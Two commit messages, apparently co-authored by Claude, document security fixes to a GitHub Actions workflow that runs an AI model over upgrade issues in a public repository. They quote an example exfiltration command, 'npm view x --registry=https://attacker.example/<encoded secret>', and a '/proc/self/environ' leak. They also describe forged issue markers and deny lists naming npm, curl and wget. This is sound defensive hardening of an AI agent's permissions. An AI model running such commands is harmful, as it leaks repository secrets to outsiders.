into `upstream-release-notes.md` (the 30 most recent releases via
`gh api`), and the prompt points the model at that file and tells it
to say so plainly if the range it needs is absent. Verified against
the real ext-apps releases API. The model's tools are now
`--tools "Read,Grep,Glob"` for availability, the same three in
`--allowedTools` so no headless run stalls on an unanswerable prompt,
and `--disallowedTools` naming Bash and the write/network tools as a
third layer — the same three-part shape `skill-eval.mjs` uses.
2. The security documentation asserted something false. `sweep` inherits
`issues: write` because filing issues is its purpose, so "the ONLY job
holding a token that can write" was never true. Both AGENTS.md and the
workflow comment now state the actual invariant: NO MODEL RUNS IN A
WRITE-CAPABLE JOB. Two of three jobs write; neither runs a model.
The test changed with it, and this is the substantive half: it was
asserting `analyze.permissions === {contents: read}`, which is one
job's slice and would have passed happily if someone added a model
step to `post`. It now iterates EVERY job and, for each that runs
`claude-code-action`, asserts no write scope and no posting step —
falling back to the inherited top-level permissions, so an omitted
`permissions:` block fails rather than defaulting silently.
3. (Suppressed.) The generated checklist told maintainers to edit
`package.json` unconditionally, which is wrong for the one case this
script models separately: `ext-apps` is `^1.7.4`, which already admits
a 1.8.0 target, so only the lockfile moves. `needsManifestEdit` now
selects the checklist items by asking whether each behind row's
declared range admits the target — exact pins need the edit, satisfied
ranges do not, and an unparseable declaration errs toward asking for a
look.
4. (Suppressed.) The `post` job comment carried the same false claim as
finding 2; corrected in the same change.
Mutation-checked, each failing a different set:
needsManifestEdit -> true -> its unit test + the ext-apps body test
--tools line deleted -> the tool-availability test
61 tests in this file; `npm run local:gate` green end to end.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_019JWUZxLDnPgLQzjBrtk1x9
Signed-off-by: cliffhall <cliff@futurescale.com>
Four findings. Two are trust-boundary bugs on a public repo; two are the
same class of grant mistake I had already made twice.
1. (Suppressed finding.) `Bash(npm view:*)` was an outbound channel. npm
accepts `--registry=<arbitrary URL>`, and a Bash grant matches a
command PREFIX and constrains nothing after it, so
`npm view x --registry=https://attacker.example/<encoded secret>`
matched the grant. Nothing is published to the issue, so the verbatim
output scan cannot see it at all.
That is the third instance of one mistake in this review — scoping the
command and leaving the flags unbounded — after `Bash(gh api:*)` in
round 1 and `--body-file /proc/self/environ` in round 3. The grant is
removed (the prompt is handed both versions and takes release notes
from `gh release view`), `Bash(npm:*)` joins the deny list, and the
general rule is now in AGENTS.md rather than three war stories: a
prefix grant constrains the command, never its flags.
2. The model's job held `issues: write`. Permissions are scoped per JOB,
not per step, so my round-3 claim that the model only ever saw a
`contents: read` token was false while the posting step shared its
job. Split into three: `sweep`, `analyze` (`contents: read`, runs the
model), `post` (`issues: write`, runs no model).
The hand-off is an ARTIFACT rather than a job output, because matrix
job outputs collide — every leg writes the same key — which would post
one SDK group's write-up onto the other group's issue. A failed
analysis leg uploads nothing, which is not fatal: the download is
`continue-on-error` and the post is gated on the file existing, and
the issue then lands in exactly the un-analyzed state the round-2
retry path picks up.
3. Issue markers were trusted without provenance. This repo is public, so
anyone can open an issue whose body starts with the current target's
marker — and close it — to suppress the real upgrade issue
indefinitely, or use a malformed target to throw in `semver.lt` every
run. `sweepIssues` now requires BOTH the automation author (with the
`[bot]` suffix normalized, since gh and the REST API spell it
differently) and the `chore` + `dependencies` labels an outsider
cannot set. Marker targets are validated with `semver.valid`.
4. Comment markers had the same gap, and my round-3 fix had addressed the
wrong layer: it stopped splitting comments on newlines but still
reduced each to its body, discarding the only field that makes a
marker mean anything. `issueComments` now returns `{author, isBot,
body}`, and both consumers require the automation — so a forged
analysis marker no longer suppresses the retry and a forged
supersession marker no longer suppresses the note. Being a bot is not
enough; it has to be ours.
The test fake mattered more than the assertions here: comment fixtures
were plain strings, so every one was implicitly automation-authored
and no test could have expressed a forgery at all.
Two workflow invariants are now pinned by tests, since both are the kind
of thing a later edit undoes by accident: the `analyze` job's permissions
are exactly `contents: read` with no posting step, and the `--allowedTools`
whitelist mentions none of npm, curl, wget, WebFetch or WebSearch.
Mutation-checked, each failing a different set:
isSweepAuthored -> true -> 3 tests (unit + 2 e2e)
isAutomationComment -> true -> 3 tests (unit + 2 e2e)
semver.valid filter removed -> 1 test
Bash(npm view:*) restored -> 1 test
issues: write re-added to analyze -> 1 test
58 tests in this file; `npm run local:gate` green end to end.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_019JWUZxLDnPgLQzjBrtk1x9
Signed-off-by: cliffhall <cliff@futurescale.com>
